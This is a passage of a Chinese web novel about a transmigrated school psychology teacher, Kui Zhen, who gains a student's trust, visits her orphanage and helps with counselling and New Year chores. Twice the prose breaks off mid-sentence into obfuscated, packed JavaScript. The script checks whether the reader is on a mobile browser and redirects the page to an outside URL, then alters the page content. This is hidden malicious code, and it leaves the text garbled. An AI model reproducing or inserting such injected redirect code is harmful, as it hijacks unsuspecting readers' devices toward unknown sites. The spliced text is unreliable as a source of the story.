尤其是隗老师,眼里一闪而过的不可思议实在很让人受用。濮怀玉心想,这位天真的新老师恐怕真有一瞬间,觉得她强悍到所向披靡呢。 16. 016 要从濮怀玉的身上明晰季节更迭的节点,既糊弄人、也糊弄自己。 实在是她穿上冬衣的时间很靠后,仿佛是为了给分明的四季一个面子,终于套上一层厚重的秋冬校服。与此同时,她的同龄人早已经在校服内加上一件更长更厚的羽绒服,衣角溢出校服外套短短的下沿,一层接一层裹上去,有了些时候。 气候渐寒,隗祯不存在的亲戚前前后后也寄过来了很多冬衣,净是些不符合他的时尚、从前他绝不会沾染的款式。 如今“仅仅”是为了尚未降临的风雪就把自己裹成狗熊,整个人被压抑得寸步难行,隗祯实在不情愿。 隗祯所眷恋的、渴望回归的那片故乡,几乎可以说是恒温的。姑且不说定制的西装,就说那些款式现成的大衣,亦是轻便又保暖,有着叠穿衬衫和开衫,或是只用一件毛衣来衬都无法抹煞的轻盈,同时保留温度和风度不属难事。倘若做不到,自然也不会在他的选择中。 系统“啧”了一声,每次它埋汰隗祯的时候都很有人味:「这么娇气,你看你在上班路上会不会冷死。友情提示,你的办公室只有一架老空调,这里是南方,可没有北方大地暖哈。」 再如何矫情的人,碰上南方城市寒彻骨的湿冷天气,都会默默穿上羽绒服,无论室外还是室内。 对濮怀玉来说,其实也只是时间问题,她从不矫情。但无论如何,她的穿着总是更显单薄,常常惹得朋友担心。 面对秦紫怡每逢冬季就会像温水一样暖融融裹来的关心,她只是戳了戳好友半握起的手掌,待其不明所以分开后,往里放了一小包生姜柠檬茶,耐着性子说:“就算你感冒,我都不会感冒。” “这是魏老师给你的吗?” “嗯,她说这个不太甜,好喝的。” 秦紫怡感慨:“魏老师也开始养生了,我的青春一去复返。” 魏老师虽然看上去严肃,但平时喜欢喝点小甜水。她跟濮怀玉就这件事聊过,是物质不充裕的童年延缓了对甜味的感知,每次检查血糖都是给她扎定心剂。 “你的青春就在这里。”濮怀玉倒完水,伴着大课间的音乐声跟秦紫怡一起慢慢走回教室,“无论做什么事,都需要身心健康。开始珍惜健康的人,不会绝望到哪里去。” 秦紫怡:“对哦!我爸去开家长会的时候,我就想过要不把自己甜死算了。” 显而易见,当她听说第二次月考后要举办家长会,紧张到失手,最终年级排名出来,一下子滑落到六十几。 “这就是你一口气吃了一整个超大草莓蛋糕的理由吗。” “我妈知道,跟我说考不好还能救,我要是再这么吃,她就每天拿胰岛素笔扎我。”秦紫怡沉吟片刻,“不骗你,卢护士长这么说的时候,我真的要被吓晕了。” 濮怀玉:“噗。” 放学前,濮怀玉询问她:“所以,你这次还准备找隗老师吗。” “这次月考之前我没有做咨询,考砸了。期中考试前我跟隗老师聊了聊,结果就很正常。”濮怀玉原以为她又要将希望托付给隗祯,结果秦紫怡话锋一转,“这样依赖程度太高了,我也不想再通过剖析自己让别人帮我解决问题。我想自己振作起来。” 她说:“隗老师不会把我说过的话告诉其他人,以后我可能就不会碰到这样的老师了,他们会把我的话当做记录里面无聊的一条,哪边需要上报他们就毫不犹豫交出来……我不能一直这样。” 濮怀玉:“其实也就一次而已。你不能断定是你没有跟隗老师聊过,所以失手了一次。” 秦紫怡点头,压抑的情绪潮来得快去得也快:“嗯,才一次嘛!” “所以烤红薯吃吗?” “当然要吃!”秦紫怡从口袋掏出折成小方块的纸钞放进她手心,“活动课给我带一个。” 这可比带烤肠安全多了,直接对老奶奶招个手,然后一手交钱一手交货,又快又热乎,隔着塑料袋捂在怀里像个热量过甚的暖手宝。 老奶奶很和蔼,事业心没有卖烤肠的阿姨重,原先在十字路口拐过去一点的位置,还是濮怀玉某天双手合十说“拜托”才慢慢挪到围栏外面的。但据她所说,摊位换到这里生意好了不少。 “不止有你们这些小朋友,大人也爱吃。” 濮怀玉抱着红薯跟她闲话,认真抱怨:“大人自己爱吃,但不许小朋友爱吃。” 老奶奶皱纹微舒,用古旧的措辞说:“你们是来上学堂的,学堂里有吃的。路边摊不干净,老师怕你们拉肚子。” “谁拉过?反正我没有。” 濮怀玉将红薯藏进外套里面,对老奶奶摆摆手,说“婆婆再见”和“早点回家”。 “今天真的太冷了。” 少女自言自语,絮絮叨叨,走在路上不忘回头看一眼老奶奶。她想,自己又不可能全部买下来,老年人的身体也不一定那般差。但还是会担心。 这里不是北方城市,不会在外面呆一个晚上就能冻到僵直,可贫穷的人,总是更容易遇到意外。 冬天。她默默念着。这是个容易让人忍不住担忧他人、觉出自身渺小的季节。 活动课仍在进行,濮怀玉不知不觉找不到秦紫怡,不晓得她又乱跑到哪里去。恰逢魏老师从食堂的方向走出来,恐怕是到操场散步,顺便巡察自由活动的同学,濮怀玉远远地往校门口躲。 她觉得自己像只蚂蚁,命苦的蚂蚁。别的蚁都是成群结队,她一只蚁搬运准备带回窝、能吃上好久的食物。 “濮怀玉?”直到有人出声。 是隗祯。 他们有许久没见,上次还是期中考前把秦紫怡送到办公室门口。 而她一个人在里面写了会儿作业,顺道“偷吃”隗祯放在罐子里的许多糖果——之所以要加上引号,是因为他说来访的学生都能品尝,是刻意让人心情好、让人占的“便宜”。濮怀玉觉得自己是偷吃,无非是动作和心态像,能增添一点心理作用使然的甜味而已。 只有食物作内容的礼物不再需要她亲手交上,秦紫怡亦不准备多去,本就不多的心理健康课又总是被各种各样的原因冲走,他们理所当然见得不多。 时间的流逝,在他越发熟练的电瓶车驾驶技巧中也能体现出来。尽管隗祯在看见这张鲜少动容的脸后,依旧自辱般感到一阵羞赧。 他说:“又给朋友护送小吃?” “嗯。”濮怀玉只看人,不说话。 厚重的羽绒服让眼前的年轻老师多了好些敦厚感、烟火气,他隐隐透露出的矛盾与排斥更是让她觉得很有意思。 “呃……谢谢你上次托魏老师送来的桃酥。” 濮怀玉:“你觉得味道怎么样?” 要想取得更多的友好值,除了恭维似乎不存在第二个更好的选择。但隗祯面对她,似乎也暂时具备了坦诚的冲动,说:“出油量有一点多,其他地方都还好。入口很容易。” 濮怀玉点了一下头。 “毕竟我花了钱。”她说,“我在准备转交给你和魏老师的那几天,失手吃掉了你的份。” 他说话时,有一个轻微上扬的尾音,那是倒逆的钓钩:“‘失手吃掉’?” 濮怀玉自顾自解释,就像一支尖端出墨过多的圆珠笔执着于停留在纸张之上,最终湿透了这张纸:“但我不能厚此薄彼。什么都不说就中止没有礼貌,所以我自己花了钱。” “家里的姐姐说,这个品牌也不错,有很多病人家属会买去给生病住院的亲人。” 隗祯:“倘若真的生病,最好杜绝油性过重的食品。” “我也这么告诉她了。”濮怀玉重又看他,目光直接到如小兽横冲直撞,“但隗老师不是病人,我只是想弥补。” “‘弥补’,不是用在这里的。”年轻老师纠正她的措辞,质问那股过于贴心的敬意,“濮怀玉同学,下次不要把钱浪费在礼物上,当做顺手为之的小事就行。” “我不会留意是否这一次是魏老师独有,然后因为‘是’,暗中记恨你。关于这一点,濮同学,我在今天跟你说明白。” 身为年长者,如果连这点必要的心胸和从容都没有,一厢情愿地去针对一个孩子,那就太过卑劣了。 少女先是答应了一声,然后小声嘟囔“我倒没有这么想”。 她总能勾起隗祯心里更轻松的情绪,反正濮怀玉说什么,往好处想总没错 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濮怀玉回答,没看见,但隗老师知道,其实知道也没有关系,你可以把他看作……她开始欲言又止。 他知道?濮怀玉的朋友一下子又激动、又害怕。这个年龄的孩子几乎都是这副模样,最有底气的时候往往最无知,一旦“有知”就容易自乱阵脚。 但濮怀玉镇定地说,可以看作自己人。你在隗老师那里做了好几次心理咨询,应该知道他不是坏人吧。 「你不是坏人。」系统说,「但你是别有用心的人。」 隗祯说出了一个老师——不,近乎一个家长会说的话,「至少我是为了她好。」 不用再继续听下去了。他知道,无论如何,她们最后大概会在某个相对不那么引人注意的树荫下,分享那一点超出框架的食物。 这时的濮怀玉,往往很有孩子心性。 期末考前,濮怀玉约定好了心理咨询的时间,并且如约赶来。 人来了,手里还提着一个小巧的帆布包。看被里物撑开的程度,里面应该没有要送给他的礼物。 隗祯几乎是立马被自己的猜测击倒——太可笑了,为了濮怀玉要不要送她礼物去猜。他竟然巴巴地伸出手,去想会不会真的有。 「受贿成性。」 「你能对我多点尊重吗?」隗祯不满,「我只是想对濮怀玉的礼物更好、更及时地给予反馈,你不要再恶意揣测我了。」 只是上一次正儿八经面对面坐着,还是隗祯用系统安排的特殊家庭背景博同情的时候,隔了好长一段时间了。 跟濮怀玉像这样坐着,他难免有点紧张,好像又回到狗头老师的时候。 其实现在也是,只是他学会如何隐藏自己。很多人是本专业出身,这么短的时间内尚且做不到他这种程度,他已经相当不错了。隗祯原本对这一事实非常自信,但现在他仿佛又回到自己尚且把握不好分寸的那一天,难堪、难耐、难受。 “有什么想跟我说说的吗?”隗祯尽量自然地开场,然而窸窸窣窣之间,濮怀玉正从带进来的帆布包里掏出纸和笔。 她说:“隗老师,我还有好多作业没写完,今天没有太多聊天的时间。”不过,濮怀玉没想挪窝,“我就用这张桌子的这半边,可以吧。” “可以是可以。……濮同学,你最近真的没有烦恼的事情吗?” “没有。”濮怀玉写作业的时候专注度高、效率更高,但要是谁跟她闲聊两句,她也能应两句,“有也被我消化了。” 烦恼于她而言就像吃饭,无论饱还是撑,最后都只会留下一个空荡荡的肚子,根本过不了夜。 解完一道题,濮怀玉的注意力会在移步向下一道的过程中短暂喘|息,于是她说:“隗老师,你有想说的吗?” 他本该是被托付倾诉欲的那个,被晾在一旁不免心想“她这是诓我的吧”,眼下骤然被提问,有点茫然:“我?” “这是隗老师来一中的第一个冬天。”濮怀玉的注意重又凝聚起,相应地语气变得模棱两可,“一定……很不一样。” 17. 017 隗祯很难回答这个问题。 他首先感受到的是不适应,南方的冬天和北方的很不一样,但最重要的还是应对措施的更迭。自诩体质不算畏寒的他,像是被一下子打回了原形。 很显然他不能告诉濮怀玉这些感触。所以隗祯装模作样思索几秒,开口回答:“时间过得真快。” 这个模棱两可的答案没能让濮怀玉满意,她洞悉了隗祯的回避,在草稿纸上写画着说:“果然还是不能跟学生谈自己最切身的感受。我的问题有些没有分寸了。” 隗祯说“你不用自我责怪”,可友好值并没有变动,濮怀玉也在轻飘飘应了一声“我没有”之后自顾自地写起作业。 咨询室内安静非常,似乎绿植被水珠压弯腰的低吟都能听见,混进纸张与桌面摩擦的簌簌声,仔细听能分辨出少女在哪里自然地划出笔锋。 “隗老师,所以你想好寒假怎么过了吗?” 大概会为了一些不可告人的私人原因到随愿孤儿院跟你套近乎。隗祯几乎要直白地将目的地告诉她,在濮怀玉面前,无端地,他无法忍受自己的留有余地,忍受自己拙劣的谎言。 但他的不适应,不会动摇原本的规则。是他非得介入进来,顽固的杂质一般。 “休息吧,应该。”隗祯最后露出一个有所粉饰的微笑,“衷心祈祷学校不要再给我布置新任务。比如研学之类的活动。” 这倒是实话。做老师太辛苦、太琐碎,太多无意义的劳动。那些肩膀上担起学生未来的任课老师们,他们所得到的不过是边角料的集合。隗祯不得不庆幸,系统喜欢埋汰他不错,但没有委派更辛苦的工作。 “我也会帮你祈祷的,因为我希望老师能来。” 濮怀玉抬头,有如一个要领孩子们做手工的幼师展示双手,然后在隗祯的视线中合拢,微微低下头,似乎非常虔诚地阖眼默念。 “去哪里?” 险些将一只圆珠笔碰掉,隗祯此刻所想不过是濮怀玉先开口,他的来去便没有那么多的违和感。 濮怀玉睁开一只眼:“到我家……不,随愿孤儿院来。有很多工作需要做,老师要是没有那么多精力,可以拒绝我。” 怎么可能拒绝。不如说正合他意。 隗祯因此身体后仰,放松地靠在办公椅上说:“我大概率会去的,濮同学。”他用一种很是慈和的眼神望着濮怀玉,“就当是回报你送给我的点心。” 他大约知道濮怀玉留存的一点私心。是,他们“同病相怜”,但濮怀玉别有所图,而这层图谋在孤儿院的孩子们那里、甚至于被觊觎专业能力的隗祯这里,都有一种别样的甜蜜。 天哪。隗祯甚至在心里感慨,当初他为什么会把濮怀玉想象成那样一个十恶不赦的坏孩子? “除了帮忙做饭、打扫卫生、帮助孩子们把自己收拾得干干净净,也许有一些只有我能做好的事。”隗祯留意着她的表情,“比如让孩子们做个简单的测试,我好对他们进行初步的心理评估。” 濮怀玉听得很认真,就像他在上一节心理健康课,认真到隗祯再次想到了自己伪造的学习背景。 “……即便是很小的孩子,当他们学会给予这个世界反馈,或多或少都会有一点自己的小烦恼。”隗祯顿了顿,仍继续说了下去。 就像一条温柔的、暖和的溪流。 “那真的太好了。”濮怀玉觍着脸,“你愿意来的话,我会提前告诉妈妈,给老师留一间房间住。” “可能会有点偏,但家里隔音不太好,偏僻一点老师可以休息得好一点。” 她只提了一次孤儿院的全名,此后又变成熟稔的“妈妈”和“我家”。 这实在太……太sweet了,顺畅到好像天然如此,比许多用血缘维系的家庭还要干脆,一次又一次在言语间不厌其烦地承认,“这是我选择的家人,这是我选择的家”。 隗祯觉得自己如果是孤儿院院长,可能会当场哭出来。 优秀的商人必然不可能是感性的人,但他莫名笃定自己的眼泪会为这一刻而掉。 “你如果是房屋中介,一定业绩很好。” “我要真的是销售,应该会是因为太有良心业绩不太好,只能吃底薪的那一类人。”濮怀玉看了眼时间,“竟然还有半个小时。” 她冷着脸说“竟然”,面无表情表达惊叹,隗祯又想笑了。 “你写了会儿作业,然后我们聊了一会儿,能过去多久。” “那我继续写作业吧。提前离开的话,被同学看到还以为隗老师业务能力不好。”濮怀玉翻开习题册,说坏话的时候音量瞬间降低百分之八十,“虽然隗老师确实有点怪怪的。” 系统转告,隗祯的冷汗开始往外冒。 当做没听见吧。“咔哒”一声,圆珠笔头宛如豆打的汗珠,落在教案上怎么看怎么心虚,连字迹都颤栗起来。 但怀疑值确实没有上涨。他只得一个人慢慢地、慢慢地舒出这口气,越缓慢越好,不能让坐在对面的濮怀玉发现。 到点,她将书本文具收进帆布包,对隗祯说了再见。 很快是期末考,濮怀玉考着考着心里只想着快点放假,所以她在经过教室后面对答案的人群时友好地询问“你们没有家吗”。 卫殊赶紧捂住她的嘴,秦紫怡则一脸“你不要命辣”然后捂住自己的。 “不好意思,实在不好意思,童言无忌。” 卫殊连声道歉,仍注意到章绪君用充满好胜心到隐隐透露出仇恨的眼神看濮怀玉,赶紧把好友拖走。 到走廊上,濮怀玉终于摆脱桎梏:“我说真的,他们看起来像是要在学校住下来。” “你也太会阴阳怪气了。”卫殊揉了揉略有些酸涩感的双眼,“其实我也看不惯,他们自己对答案就算了,还硬要拉着人,甚至抢人试卷对,搞人心态。但你刚才实在不应该那么说,万一……” “万一起冲突,影响成绩。” 秦紫怡冷哼一声,开始对空气出拳:“他们最好到了高考那几天也能考一门对一门。要是跟我在一个考场,看我到时候会不会狠狠骂他们,再举报到老师那里。” 濮怀玉扭头:“你不会,你会在听到自己哪道题疑似做错之后泪眼汪汪回家emo。我会祈祷,你最好不要跟他们分到一个考场,不然十有八九会被影响。” 她很了解秦紫怡,说的一点都不错。秦紫怡一下子蔫了下去。 “别给自己预支压力,你看你,又被濮怀玉两句话吓到了。” 秦紫怡像小猪一样哼哼唧唧:“谁叫她是我老公呢,老公不坏,老婆不爱。” 卫殊摊手,夸张道:“我的老天奶啊,你们还在玩这种让人肉麻的家家酒。” 濮怀玉耸耸肩,表示秦紫怡非要玩,她也没意见。 总之,期末考是结束了。成绩通过短信发到家长手机里,濮怀玉不可能让院长单独为自己操心,因此她将小灵通的短信界面展示给了院长看。 陆乔眼神好点,凑近点念给院长听,“濮怀玉家长,您好!濮怀玉的期末成绩是:总分719,语文129,数学150,英语146,物理95,化学100,生物99,班级排名1,年级排名1。这么高?我真的有点晕数字了。” 濮怀玉握着小灵通,眉眼间能够依稀看出隐约的臭屁:“也有一中想要鼓励同学,手比较松的因素。所以妈妈、姐姐,期末考试之前,我真的很用心地抱佛脚了。” 若只是草草复习,她只能保证自己的年级排名是个位数。 院长伸出手要拿小灵通,饶是不那么在意成绩,身为中国家长的基因也会动用力量让她眉开眼笑:“这成绩太好了,肯定够我们小玉去燕京见见世面了。所以你有没有告诉濮小姐?” “我还是准备写信。” 濮怀玉给院长看新得的信封跟信纸,还是一中的文创产品,魏老师送的小礼物,“我不仅要告诉她我考得很好,我还要告诉她,濮怀玉这个人很好。” 陆乔手放在她肩膀上,难掩喜色的同时更多表露出欣慰: “写,多写点。” 中途返校评讲试卷,还发了一大堆假期要做的试卷,都是教研组精挑细选的题目,拿到手里甚至还是热乎的。 再一次回到家,这次寒假是真的开始了,濮怀玉也终于有完整的时间写信。 她考虑了很久,最终在信纸顶端写下收信人,“亲爱的曼曼姐姐”。 虽然成绩在濮怀玉看来并不是最重要的东西,但她还是在短暂的寒暄后将这学期的成绩全都抄给了她。随后是这学期给濮怀玉留下印象的一些事,其中包括学校新来的心理老师。 这一部分,濮怀玉分了几天写,写完一张试卷再插|入一段写信环节。 “……隗老师总给我一种很专业,但似乎又不是那么专业的感觉,好像无论入职多久,都在努力cos心理老师这一职业。但他对我朋友的正向影响不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487462|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可估量,在同学之间的口碑也很好。” “我觉得这里面也有一部分他长得太好看的原因。得亏我们学校的同学无论性别都专注学习,隗老师惊人的颜值竟然没有在学生间掀起任何波澜,自控力强得可怕,这方面我不如我的同窗……” 有关隗祯的部分写到将近末尾的地方,隗祯本人真的来了。 他没有跟她打官腔,而是真的带着一个小巧的赭红色行李箱,仿佛千辛万苦终于找到这座小小的孤儿院般风尘仆仆,让濮怀玉隐约嗅到风衣一角的疲惫。 “抱歉打扰了,我看到门口的告示栏张贴了招纳寒假志愿者的海报,所以想冒昧地走进问问。” 濮怀玉没有走到他面前,而是从墙后探出身体,沉稳地戳穿那点不必要的体面,让善意和守信无处躲藏:“隗老师,你明明是因为跟我约定好才过来的——” 慵懒的拖长,让隗祯公式化的笑容一时间有些难以维持。 「防OOC模块已解除。」 是陆乔迎接的客人,但她现在都还没说出一个字,只愣神对着眼前这张脸,被奇异的缺氧感席卷——真人,可以长成这个样子么? 濮怀玉扶着门框:“姐姐,你就放隗老师进来吧。他不是不相干的人,我带他去客房。” 隗祯笑意盈盈,亲切道:“濮同学称呼您为姐姐,那您应该就是那位‘大姐姐’了。我姓隗,是濮怀玉同学在一中的心理老师,受邀来给孩子们做心理辅导。” 他伸出右手。 陆乔稀里糊涂跟他握了握手:“哦、嗯,是的……我是说,好的。”她僵硬转身,“小玉,院长知道吗?” “知道啊。” 濮怀玉对隗祯做了个“过来”的手势,领着他走,离开前不忘说“今晚工作餐多做一份”。 陆乔回应她,心想:小玉还真有两下子。 刻奇性质的打量自然而然发生。起初,隗祯还能看见穿着红色马甲的志愿者穿行在富有岁月感的楼房下面,有老有少,各司其职。有的在打扫卫生,多是年轻人,有种植经验的中年人在地里伺候的蔬果,做志愿的大学生带着尚未到上学年纪的孩子玩耍。 往里面走,杂声系数远去。濮怀玉带他上楼梯,推开走廊尽头的门:“隗老师,就是这里。钥匙在床头柜上,最后走的时候记得还给我。” 五脏俱全的小房间被收拾得很整洁,采光也很好,像是闹市中隐居的绝佳去处,一片宁静的世外桃源。 没有隗祯臆想中的悲惨气息,只是承载着应尽的职责而已。 他放下行李箱,第一时间将桌上的钥匙妥善保管。 “隗老师,你会待到什么时候?”濮怀玉没有走,在门外问他,“院长说你想待到什么时候都可以。” 隗祯正将外套挂进衣柜,露出修身的黑色高领毛衣。濮怀玉随即将门多掩一些,但她仍没有离开。 “既然院长不准备赶我走,在这里迎接新年似乎不错。” 隗祯半蹲下来,左腿放下若有若无靠着地面,宽大的掌扶上行李箱外壳,“至少一定不会无聊。” 濮怀玉很同意:“一点都不无聊。白天人看着很多,但真到忙的时候,就算有志愿者,还是会忙的脚不沾地。” “作业写完了吗?” “假期还没过半吧,隗老师。现在问这个问题,有点不是时候。” 隗祯抬头,手臂撑在交叠整齐的换洗衣物上,堆迭在小臂近手肘位置的袖子下方,延伸出来的是紧致的肌肉线条。 这让濮怀玉低头看了眼自己。很好,她不遑多让。 他随后说:“是我冒昧了。” 有点悻悻,但模样依旧好看,只是神情像从那个小只行李箱里捞出来一样,被什么挤得慌。 岂止是冒昧,简直是越界行为。濮怀玉可不希望隗祯在自己的主场端起老师架子,随意问询自己的作业进度。 那么多事比作业重要,何况她没有弃绝学业。但濮怀玉没有挑明,就像一个谨遵体面原则的成年人,只是在离开前说有事会找他。 “你可以随便走走,我还有作业要写。” 隗祯疑心她记挂着刚才自己的冒失,但他也只能笑笑。何况上涨的友好值像在说,濮怀玉并没有很认真地生气,她只是有点不满。 「友好值+6」 「当前友好值:64。」 濮怀玉很有原则,非常愿意念着别人的好。这是隗祯对她的印象。 18. 018 “你就是隗老师吧。” 隗祯起身:“李院长。” 院长是个脸色红润,颇有精神气的中年女人,看不出前些日子刚开过刀的病气,看他就像是在看诸多孩子中的一个:“要是在这里住得不舒服,我再给你换一间。” “谢谢。但这里可比我的家整洁多了,我想并不需要。”隗祯半开玩笑。 院长没有与他多言,她有很多事情要做,短暂停留后告诉隗祯晚七点去食堂吃饭。 “有爱心人士支持,我们这里的伙食还是不错的。”院长笑着告诉他。 但从孤儿院的规模以及隗祯自己一路走来的所见来看,即便有爱心人士的支持,恐怕也很有限。 至少从孩子的衣着和精气神可知,并不充裕的筹款都被用在了刀刃上。他走到窗前,伫立片刻后还是撂下行李,走出门去。 「防OOC模块已开启。」 熟悉的职高校服,包裹的一张张脸却没有盛气凌人的意味。他们带着孩子在光秃秃的篮球场上玩跳房子和老鹰捉小鸡,小心避开缝隙里长出来的杂草,再跟杂草一起在晚风中来回招摇。 陈旧的健身器材下,说好要去写作业的少女单臂握紧斑驳处,一手轻松做着引体向上的同时,另一只手还在摆弄老人机。 「叮,任务对象在玩贪吃蛇。」 就这样一心多用,濮怀玉还在跟一旁披着职高校服的矮瘦女孩说话:“你在学校没有被欺负吧?” 那女孩辩解时脸颊微微充血,一腔羞愤有些无厘头:“没有!我不是告诉过你了吗,之前那个伤口是我跑步没跑好,摔在跑道上擦出来的。血都没怎么流,没两天就好了。” 灰绿色屏幕上蠕动的马赛克,两只黑豆眼忽然间变成叉号,过长的身体成了自掘坟墓的铁铲。 细小的音效似乎要将麻痹感传递到虎口,濮怀玉指尖随之微微颤,握住杠杆的手也松开来:“你之前好像不是这么说的。” “……肯定是你记错了。”女孩放弃辩论,自暴自弃般一甩手,“你不要总是管我!什么小姐姐,你也就比我大一岁,牛什么牛。” 濮怀玉张了张嘴,最终什么也没说成,因为对方已经加快脚步离开,脚往地上用力跺,还很有先见之明地紧捂耳朵。 而她离开的方向,隗祯正站在不远处。 他踱过来。 “你不应该脱外套的。”濮怀玉将老人机往羽绒服外套一塞,双手握住杠杆心不在焉地荡了两下,说起话没头没尾,“天要黑了,只会更冷。隗老师,你会受凉的。” 隗祯:“我不会。” 他觉得濮怀玉有点伤心。她的表情不这么说,但她的眼睛这么说了。 隗祯靠在旁边矮到和胸口相齐的杠杆上,平和地聊起另一个话题:“不是有一种说法吗?现在很多老师寿命不长,是因为他们介入了太多学生的命运。既然教书,就不可能不育人,有不可能不耗费心力。” “你是准备劝我,让我不要管吗?” “我可以跟她聊一聊。既然我需要将测试卷收上来。”他拍了拍腰旁的公文包,“你知道有多少孩子可以完成吗?不用着急,我来这里就只有这一份任务。” 濮怀玉说了一个数字。既然要做,她肯定都准备好了。“小一点的孩子坐不住,你给他们发点好吃的,套套近乎,他们就会跟你说了。” 她平静地告诉隗祯诀窍,但其实本也没什么诀窍,“他们喜欢跟漂亮的大人说话,说不定是他们反过来要给你糖呢。” 隗祯哑然失笑。 “其实你不用准备得这么充足,你还没有到需要考虑得那么全面的年纪。” 濮怀玉:“具体得到什么时候?” “十八岁?……似乎也太早了点,可能至少得到大学毕业。” 这不是濮怀玉想要的答案,她转过头:“有些难处,不是成了大人就没有了。如果说成了大人就能知道一切,跨越一切,隗老师给自己的压力未免也太过沉重。” “日常有上亿流水的人,知道我们过着怎样精打细算的生活吗?反过来讲,我们知道他们过着怎样的日子吗?就连想象都很艰难。” 隗祯的心遽然一缩,但濮怀玉执着于理论清楚的神情姿态又不像是看出他前世因缘的样子。 有的只有她凭自己眼睛看清楚的,人与人之间充满隔阂的人间。 “就像站在时代潮头的人,永远不知道一个时代落幕时,那点看似柔软的幕布砸在人身上有多痛。” 但濮怀玉又绝非因此消沉,在她身上有一股静静涌动的魄力,关键时刻会像突刺的刀一般穿云而出,或是化作一只温厚的掌,“既然我知道,我就不能当做看不见。老师有责任去帮助她,我当然也有责任。所以认知绝不建立在年龄上,而是经历。我经历了,就不能龟缩,装作是什么都不懂的小孩。” 旁人惊慌失措,想尽办法为自己提供不在场证明,她却非要交出完整的在场证明,执拗到让人不解。 但她的耐心、认真,让隗祯不再是不解的人群中的一员。他必须持以同等的耐心,就好像他真的成了一个义不容辞的教师而非赶鸭子上架,走进课堂以前的每一步都是为了朴实到伟大的教育理想。而现在和他对话的人,虽然年轻,却需要仰望。 “那就当做是你委托了我吧。你委托给了老师。” “……” “可能她更愿意向新认识的你倾诉。”濮怀玉靠在栏杆上,隐隐有点颓丧地垂着头,“我可能会有一点失落,但我更想解决问题。” 至少被别人欺负的时候,她可以有跑起来的力气,而不是浑浑噩噩度过那段压抑的、受人欺辱的时光后形成心脏上的禁地。 这个年龄的孩子都是敏感的,情绪化地索要一个把自己当做独立个体的态度,这无可厚非,但要是忽略了会对自己有害的隐患,濮怀玉很担心积少成多。 系统用此前从未使用过的语调说:「好宝宝好宝宝。」 「……我渐渐可以明白,为什么作者会将一个高中生设定成主角,而你把她当作这个世界最重要的人了。」 系统对他的后知后觉相当不屑地“啧”了一声:「你还是太狭隘了。」 他的狭隘何止体现在这一处,但比起一味感到懊恼,隗祯还有很多事要做。 为了减轻阻力,系统贴心地调整了防OOC模块的尺度,在随愿孤儿院的这些天会上调到百分之八十。于是,当隗祯准备去食堂后厨帮忙,送他糖果的小男孩拿着新的小礼物悄悄尾随进来,以这个年龄异常惊人的毅力憋到隗祯主动要求分担做饭重任,然后闪出来—— “老……老书(老师),抱!” 水汪汪的、亮晶晶的眼睛。 老天爷啊。他想。这里的孩子个个健康活泼,对他的测试那么配合,为什么收获得会是这样的命运。 濮怀玉正在做院长和陆乔都喜欢吃的鸡蛋酱,前有隗祯要帮忙炒大锅菜,后有隗祯分担小朋友的抱抱任务,乐得清闲。 她将鸡蛋酱盛出来,很大一部分封好放进冰箱里,留待新年期间饿了使用。合拢冰箱的门,濮怀玉回头:“要我把魏老师请过来吗?” 魏老师到底请来了,年三十前两天来的。她真心喜欢孩子,在孩子里人气也高,无疑是一个大杀器。 “这可比在教室里给你们上语文课有成就感多了。”她跟濮怀玉分享过真实的内心,“你们都在下面写数学作业、物理作业!你别跟我说‘我没写’安慰我,你肯定也写了。” 当时濮怀玉沉吟片刻:“魏老师,那您还真是说对了。” “不用了。”而在这一边,隗祯最终还是献出了自己的第一次——第一次抱孩子。小男孩满足了,要将零食给他,隗祯只是点一下他的鼻头:“你自己吃,老师的糖还没吃完呢。” 然后右手抱孩子,左手握住锅铲。这样确实不方便,但隗祯自认为做得还挺不错。 「友好值+2」 「当前友好值:75。」 在随愿孤儿院的这么多天,隗祯也是慢慢把濮怀玉的友好值提升到七十以上的水平,但他的主要目标好像不是这个了。现在,他只想做好菜。 濮怀玉忙完她那边,过来帮他倒调料。 “谢谢,你去坐着休息一下吧,我一个人可以。” 濮怀玉:“但你现在是两个人。” “两个人不是更好吗。”隗祯为她的冷幽默感失笑,“去休息吧,我这边很快就好。” 他好歹有健身的习惯,系统也把这具身体的各方面数值调成了他原先拥有的那具,要是抱个小孩都虚,未免太可笑了,这还算是男人吗。 见她还在犹豫,隗祯继续劝告:“你正好可以跟小慧聊聊,难得有个聚在一起的时间。她很喜欢你,对你有依赖心,只是难以面对你。” 濮怀玉的表情出现怜惜的缝隙,立马转过身去,大步离开:“……明明她才是受害者,说什么‘难以面对’呢……” 这才是新年夜应该有的样子。隗祯手上炒着菜,轻哼起来。 解开心结,彼此坦诚地拥抱,为难能可贵的团聚干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孩子不能熬夜,看不了太久就被濮怀玉领走睡觉;大一点的可以多赖会儿,但他们也正是学习的时候,不能留太久;也就院长、陆乔和几个从外地赶回来的大学生,外加一个回来的濮怀玉能够待着。 而像魏老师这样留宿的外客,去留随意,多半会留下来。隗祯亦是不能放过。 春晚的节目放着,陆乔挨着濮怀玉走,鬼鬼祟祟的,确认周围就算有人突然要上前她也能看见,低下头跟嚼着芝麻糖的濮怀玉说悄悄话: “小玉,你之前不是说,隗老师还没有处对象吗?” “对啊,我还说……”她眼珠骨碌一转,“我知道了姐姐,你这是又看上了。” 陆乔脸有点红:“还是第一次有人叫我‘陆小姐’。” 濮怀玉迅速戳了一下她脸最红的地方:“隗老师肯定不是第一个这么叫你的,只是美色惑人,给你施展了记忆消失术。”紧接着,少女一合掌,“还真是美少女——美少男战士,原来要打败的是大姐姐的芳心啊。” 